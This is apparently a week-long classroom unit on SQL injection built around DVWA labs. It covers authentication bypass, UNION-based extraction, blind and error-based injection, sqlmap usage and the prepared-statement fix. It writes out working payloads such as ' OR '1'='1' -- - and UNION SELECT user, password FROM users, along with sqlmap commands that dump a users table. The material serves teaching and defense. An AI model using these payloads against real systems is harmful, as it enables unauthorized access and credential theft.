

SQL Injection

Unit 12 — How a single quote can dump a whole database

One of the most famous and damaging web bugs of all time — and exactly how a developer stops it.

What we'll do this week

- **Day 1:** Databases & SQL, and where the bug lives
- **Day 2:** Authentication bypass (`' OR '1'='1'`)
- **Day 3:** Pulling data out — UNION, error-based, blind, and sqlmap
- **Day 4:** The defense — prepared statements stop it
- **Day 5:** Document it (feeds the web-vuln writeup project)

Learning objectives

By the end of this unit you can:

- **Define** what a database and SQL are; write a simple `SELECT ... WHERE`.
- **Explain** how a web app turns user input into a query, and why mixing them is dangerous.
- **Describe** SQLi as "untrusted input changing the meaning of a query."
- **Perform** a classic auth bypass (`' OR '1'='1`) and explain why it works.
- **Demonstrate** UNION-based extraction and pull sample data from a lab target.

Learning objectives (continued)

- **Distinguish** error-based from blind SQLi at an awareness level.
- **Use** `sqlmap` responsibly against a **lab-only** target.
- **Recommend** layered defenses — **parameterized queries / prepared statements**, input validation, least privilege.
- **Show** that raising DVWA's security level stops the attack.

Vocabulary — databases & SQL (1 of 2)

Term	Meaning
Database	An organized store of data, usually tables of rows and columns.
Table	A grid; columns are fields (like <code>username</code>), rows are records.
SQL	Structured Query Language — used to ask a database questions.
Query	A request to a database ("give me the user named Maya").
SELECT	The SQL command that reads/returns data.
WHERE	The part of a query that filters which rows you get.

Vocabulary — the attack & defense (2 of 2)

Term	Meaning
SQL injection (SQLi)	Untrusted input changes the <i>meaning</i> of a query.
Authentication bypass	Tricking a login to let you in without valid credentials.
UNION-based SQLi	Using <code>UNION</code> to attach attacker-chosen data to the results.
Error-based SQLi	Pulling data out through the database's error messages.
Blind SQLi	Extracting data with no visible output, via true/false or timing.
sqlmap	An automated SQLi tool — lab-only in this class.
Prepared statement	A safe query where input is sent as data , never as SQL text.

Ethics & authorization

SQL injection is not a gray area.



The rules for this unit

- Pointing SQLi — or **sqlmap** — at any database you don't own or lack **written permission** to test is a crime (CFAA + state law).
- It can **destroy real data** and expose **real people's privacy**.
- The **only** legal targets here: **DVWA** and **authorized TryHackMe rooms** — apps that exist to be broken, on an **isolated** network.

The skill you're learning is **defense**: once you see how easily an unprotected query falls, you'll never write one — and you'll know how to fix the ones you find.

Day 1

Databases & SQL, and where the bug lives

Databases in 60 seconds

A database stores data in **tables** of **rows** and **columns**.

users table:

user_id	username	password
1	admin	5f4dcc3b...
2	gordonb	e99a18c4...

- **Columns** = fields (**username**)
- **Rows** = records (one user each)

A simple SQL query

```
SELECT username FROM users WHERE username = 'Maya';
```

In plain English:

- **SELECT** `username` → which column(s) to return
- **FROM** `users` → which table
- **WHERE** `username = 'Maya'` → which rows (the **filter**)

WHERE is the filter. Remember that — the whole attack targets the filter.

How a login builds a query

The app glues your typed input into a SQL string:

```
SELECT * FROM users  
WHERE username = '<your input>' AND password = '<your input>';
```

- You type **Maya** → the app pastes **Maya** between the quotes.
- The danger: if the app just **pastes** input, it can't tell **your data** from **SQL commands**.

The bug lives at the moment input is glued straight into the query.

What if the input contains SQL?

Type this as the username:

```
Maya' --
```

The query becomes:

```
SELECT * FROM users WHERE username = 'Maya' -- ' AND password = '...';
```

- The `'` **closes** the app's string early.
- `--` **comments out** the rest (the password check vanishes).

The attacker didn't break in — they **rewrote the question**.

Day 1 guided practice & exit ticket

1. As a class, build the login query on the board.
2. Instructor types `Maya' --` into "username"; class predicts the resulting query.
3. In journals: write one `SELECT ... WHERE` query in **plain English** and in **SQL**.

Exit ticket: *In one sentence, why is gluing user input directly into a SQL query dangerous?*

Day 2

Authentication bypass: `' OR '1'='1'`

The always-true trick

Submit this as the User ID / username:

```
1' OR '1'='1
```

The query changes from:

```
SELECT first_name, surname FROM users WHERE user_id = '1'
```

to:

```
SELECT first_name, surname FROM users WHERE user_id = '1' OR '1'='1'
```

16

Why it works, step by step

```
1' OR '1'='1
| | |
| | └─ '1'='1' is ALWAYS true
| └─── OR joins it to the original condition
└───── the ' closes the app's string
```

- `WHERE user_id = '1' OR '1'='1'` → the `OR '1'='1'` is **always true**.
- A filter that's always true **filters nothing** → **every row** comes back.

The attacker didn't guess a password. They made the filter meaningless.

The classic login-form version

```
' OR '1'='1' -- -
```

```
SELECT * FROM users WHERE username = '' OR '1'='1' -- -' AND password = '...';
```

- `OR '1'='1'` → always true, so a user row returns.
- `-- -` → comments out the **password check** entirely.
- Result: logged in **without a valid password**.

`-- -` keeps the trailing space so the comment is valid. Lab-only demonstration.

Day 2 lab & exit ticket

Lab (Security = Low): read the safety reminder aloud, then on DVWA's **SQL Injection** page:

- Step 1: enter `1` → see the normal, intended result.
- Step 2: enter `'` → a **database error** confirms the field is injectable. Screenshot it.
- Step 3: enter `1' OR '1'='1` → **all users** return. Record the before/after query.

Exit ticket: *Explain in your own words why `' OR '1'='1` lets someone in without a password.*

Day 3

Pulling data out: UNION, error-based, blind & sqlmap

Step 1: find the number of columns

A `UNION` only works if both queries return the **same number of columns**. Probe with `ORDER BY`:

```
1' ORDER BY 1 -- -  
1' ORDER BY 2 -- -  
1' ORDER BY 3 -- -
```

- Works at 1 and 2, then **errors at 3** → the query returns **2 columns**.
- `-- -` is a comment that ignores the rest of the original query (keep the space).

UNION-based extraction

First prove you control the output:

```
1' UNION SELECT 1,2 -- -
```

A row showing `1` and `2` confirms your data is displayed. Now pull real data:

```
1' UNION SELECT user, password FROM users -- -
```

Output: a list of **usernames and (MD5) password hashes** from the `users` table.

What you just extracted

- These are **hashes**, not plaintext passwords.
- Cracking them is Unit 14's topic — but you've already **extracted the credential store**.
- That alone is a **critical-severity** finding.

Recon variations (lab-only):

```
1' UNION SELECT @@version, database() -- -
```

Pulls the database version and current database name.

Error-based vs blind SQLi

	Error-based	Blind
What leaks	Data/confirmation via error messages	Nothing visible
How you read it	Read the error text	Ask true/false questions; watch behavior or timing
Example trigger	 returns a SQL error	Page looks the same — infer from response/timing

The  error in Step 2 yesterday was **error-based**. With no output, you'd go **blind**.

sqlmap — automation (lab-only)

`sqlmap` automates what you did by hand. It is **loud, powerful, and dangerous if misused** — point it **only** at DVWA.

```
sqlmap -u "http://<DVWA-IP>/vulnerabilities/sqli/?id=1&Submit=Submit" \  
--cookie="PHPSESSID=<your-session>; security=low" --batch --dbs
```

- `--cookie` → your authenticated DVWA session
- `--dbs` → list the databases
- `--batch` → accept defaults non-interactively

sqlmap — dumping the table (lab-only)

```
sqlmap -u "http://<DVWA-IP>/vulnerabilities/sqli/?id=1&Submit=Submit" \  
  --cookie="PHPSESSID=<your-session>; security=low" \  
  --batch -D dvwa -T users --dump
```

- `-D dvwa -T users --dump` → dump the `users` table.
- sqlmap may even offer to **crack the hashes**.

sqlmap reproduced your manual attack in seconds — **that** is why it's dangerous off-leash. DVWA target only.

Day 3 lab & exit ticket

Lab: UNION-extract usernames/hashes from DVWA; then run `sqlmap` against the **DVWA target only** and save the output to your journal.

Exit ticket: *Name the three SQLi styles we mentioned and one difference between UNION-based and blind.*

Day 4

The defense: prepared statements stop it

DEFENSE: parameterized queries (prepared statements)

Separate the **query** from the **data**. Input is **bound** as a parameter — never parsed as SQL.

Vulnerable (Low):

```
$query = "SELECT first_name, surname FROM users WHERE user_id = '$id'";
```

Safe (Impossible) — PDO prepared statement:

```
$stmt = $pdo->prepare('SELECT first_name, surname FROM users WHERE user_id = :id');  
$stmt->execute([':id' => $id]);
```

Why prepared statements win

- The query structure is **fixed before** your input ever arrives.
- Your input fills a **slot** — it can't add `OR`, `UNION`, or `--`.
- A quote loses its power because it's **never parsed as SQL**.

This is the **single most direct fix** for SQL injection.

DEFENSE: defense-in-depth

Layer	What it does
Prepared statements	Primary fix — input is data, never code.
Input validation	Reject input that isn't the expected type/format.
Least privilege	The app's DB account can't read every table → smaller blast radius.

Why validation isn't enough alone: some fields must allow quotes (the name `O'Brien`!), and a blocklist can always miss a string. Prepared statements don't depend on guessing every bad input.

Day 4 lab & exit ticket

Lab Step 8: raise DVWA Security to **High/Impossible**, re-run the Day 2-3 injections — they **fail**.

```
1' OR '1'='1  
1' UNION SELECT user, password FROM users -- -
```

Use **View Source** to compare **Low** (input glued in) vs **Impossible** (bound parameter). Screenshot both.

Exit ticket: *Which single defense most directly stops SQL injection, and why?*

Day 5

Document it (feeds the web-vuln writeup project)

Anatomy of a professional finding

A good finding lets a developer **reproduce** and **fix** the bug:

1. **Description** — plain language, non-technical-friendly
2. **Reproduction steps** — the exact payloads you used
3. **Evidence** — labeled screenshots
4. **Impact & severity** — what an attacker gains, and how bad
5. **Remediation** — the specific fix

SQLi is typically **High / Critical** severity.

Your SQLi finding — fill these in

Section	Your content
Description	An unauthenticated user can alter the SQL query via the User ID field.
Reproduction	' (error) → 1' OR '1'='1 (all rows) → 1' UNION SELECT user, password FROM users -- -
Evidence	Screenshots: ' error, all-users dump, hash dump, Low-vs-High source
Impact / severity	Full credential-store disclosure → High/Critical
Remediation	Prepared statements (primary) + input validation + least privilege

Day 5 lab & exit ticket

Lab Step 9: turn your DVWA journal into a clean **SQLi finding writeup** — description → reproduction → evidence → impact → remediation. This becomes one finding in the Module 3 web-vuln writeup project.

Exit ticket: submit the finding draft + one sentence: *biggest surprise about how easy/hard this was.*

Lab deliverables

- Journal entries for Steps 1–9 with **labeled screenshots**: normal query, the `'` error, the all-users dump, the UNION hash dump, sqlmap output, and the Low-vs-High **View Source** comparison.
- A plain-English explanation (5–6 sentences) of why `' OR '1'='1'` works.
- A draft **SQLi finding writeup** (description → reproduction → evidence → impact → remediation).

Recap — the big ideas

- A **database** stores data in tables; **SQL** queries it; **WHERE** filters rows.
- **SQLi** = untrusted input **changes the meaning** of a query (not password guessing).
- `' OR '1'='1` defeats the filter; **UNION** extracts other tables; **blind** infers with no output.
- **sqlmap** automates it — lab targets only.
- The fix: **prepared statements** (primary) + validation + least privilege.

Discussion prompt

A student finds their part-time job's online order form returns extra data when they type a quote mark. They're curious whether it's "really vulnerable."

What's the **responsible** next step — and what would crossing the line look like?
Where exactly is the **authorization boundary** here?

Module 3 complete

You can read, modify, and attack web apps — and **defend** them.

Next: the Module 3 **web-vulnerability writeup project** — turn your findings into a professional report.

Curriculum by AJ Hammond — PNPT, CRT0, OSCP, BSCP
github.com/ajm4n · linkedin.com/in/aj-hammond